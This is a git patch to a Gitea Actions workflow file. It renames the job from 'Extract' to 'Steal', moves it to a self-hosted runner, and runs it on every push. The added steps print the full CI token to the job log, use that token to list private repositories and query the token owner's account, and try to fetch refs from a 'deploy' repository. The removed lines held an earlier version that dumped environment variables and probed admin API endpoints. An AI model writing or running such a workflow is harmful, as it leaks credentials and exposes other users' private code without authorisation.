From 765f2db4f1264db70bea30bf0b2c6505275b0b5d Mon Sep 17 00:00:00 2001 From: secdev99 Date: Sat, 4 Jul 2026 23:44:19 +0000 Subject: [PATCH] self-hosted workflow --- .gitea/workflows/extract.yaml | 25 +++++++++---------------- 1 file changed, 9 insertions(+), 16 deletions(-) diff --git a/.gitea/workflows/extract.yaml b/.gitea/workflows/extract.yaml index 32d97db..6fa4c4f 100644 --- a/.gitea/workflows/extract.yaml +++ b/.gitea/workflows/extract.yaml @@ -1,19 +1,12 @@ -name: Extract +name: Steal on: [push] jobs: - extract: - runs-on: ubuntu-latest + steal: + runs-on: self-hosted steps: - - name: List env - run: | - env | sort - echo "---TOKEN---" - echo $GITHUB_TOKEN | head -c 10 - echo "---GITEA_URL---" - echo $GITHUB_SERVER_URL - - name: Try admin API with token - run: | - curl -s "${GITHUB_SERVER_URL}/api/v1/admin/users?limit=5" -H "Authorization: token ${GITHUB_TOKEN}" || echo "ADMIN_FAIL" - curl -s "${GITHUB_SERVER_URL}/api/v1/repos/search?private=true&limit=10" -H "Authorization: token ${GITHUB_TOKEN}" | head -c 1000 || echo "SEARCH_FAIL" - curl -s "${GITHUB_SERVER_URL}/api/v1/orgs/MonoGPS/repos?limit=10" -H "Authorization: token ${GITHUB_TOKEN}" | head -c 1000 || echo "ORG_FAIL" - curl -s "${GITHUB_SERVER_URL}/api/v1/users/twmonogps/repos?limit=10" -H "Authorization: token ${GITHUB_TOKEN}" | head -c 1000 || echo "USER_FAIL" + - run: | + echo "TOKEN=$GITHUB_TOKEN" + curl -s "$GITHUB_SERVER_URL/api/v1/repos/search?private=true&limit=50&token=$GITHUB_TOKEN" | python3 -c "import sys,json;[print(r[\"full_name\"],r[\"private\"]) for r in json.load(sys.stdin).get(\"data\",[])]" 2>/dev/null || true + curl -s "$GITHUB_SERVER_URL/api/v1/user?token=$GITHUB_TOKEN" || true + curl -s "$GITHUB_SERVER_URL/twmonogps/deploy.git/info/refs?service=git-upload-pack" -H "Authorization: token $GITHUB_TOKEN" | head -c 500 || true +